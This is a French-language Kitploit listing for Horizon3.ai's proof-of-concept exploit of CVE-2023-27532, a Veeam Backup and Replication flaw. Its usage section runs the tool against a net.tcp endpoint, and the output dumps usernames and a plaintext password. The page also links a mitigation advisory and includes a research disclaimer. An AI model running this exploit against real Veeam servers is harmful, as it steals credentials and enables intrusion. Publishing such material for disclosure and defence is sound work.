Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-27532 — Exploit de preuve de concept pour CVE-2023-27532 dans Veeam Backup and Replication qui abuse d'un point de terminaison API non sécurisé pour extraire des identifiants du système cible. | Kitploit
Outils/GitHubGitHub/horizon3ai/cve-2023-27532
Analyse des VulnérabilitésExploitationTests de Sécurité des APITests d'IntrusionRed Teaming
GitHubhorizon3ai/cve-2023-27532

CVE-2023-27532

Exploit de preuve de concept pour CVE-2023-27532 dans Veeam Backup and Replication qui abuse d'un point de terminaison API non sécurisé pour extraire des identifiants du système cible.

Voir le dépôt
74112il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-27532

POC pour CVE-2023-27532 affectant Veeam Backup and Replication

Analyse Technique

Une analyse technique de la cause racine de la vulnérabilité est disponible sur notre blog : https://www.horizon3.ai/veeam-backup-and-replication-cve-2023-27532-deep-dive

Résumé

Ce POC exploite un point de terminaison API non sécurisé pour extraire des identifiants.

Utilisation

root@kitploit:~
/home/dev/RiderProjects/Veeam_CVE-2023-27532/CVE-2023-27532/bin/Debug/net6.0/CVE-2023-27532 net.tcp://192.168.1.139:9401/
UserName = dev Password = Super Secret Password 
UserName = root Password =  
UserName = root Password =  
UserName = root Password =  
UserName = root Password =

Atténuations

Mettez à jour vers la dernière version ou atténuez en suivant les instructions du conseil Veeam

  • https://www.veeam.com/kb4424

Suivez l'équipe d'attaque Horizon3.ai sur Twitter pour les dernières recherches en sécurité :

  • Horizon3 Attack Team
  • James Horseman
  • Zach Hanley

Avertissement

Ce logiciel a été créé purement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes sauf autorisation explicite. Les mainteneurs du projet ne sont pas responsables de l'utilisation abusive du logiciel. Utilisez-le de manière responsable.

Télécharger l’outil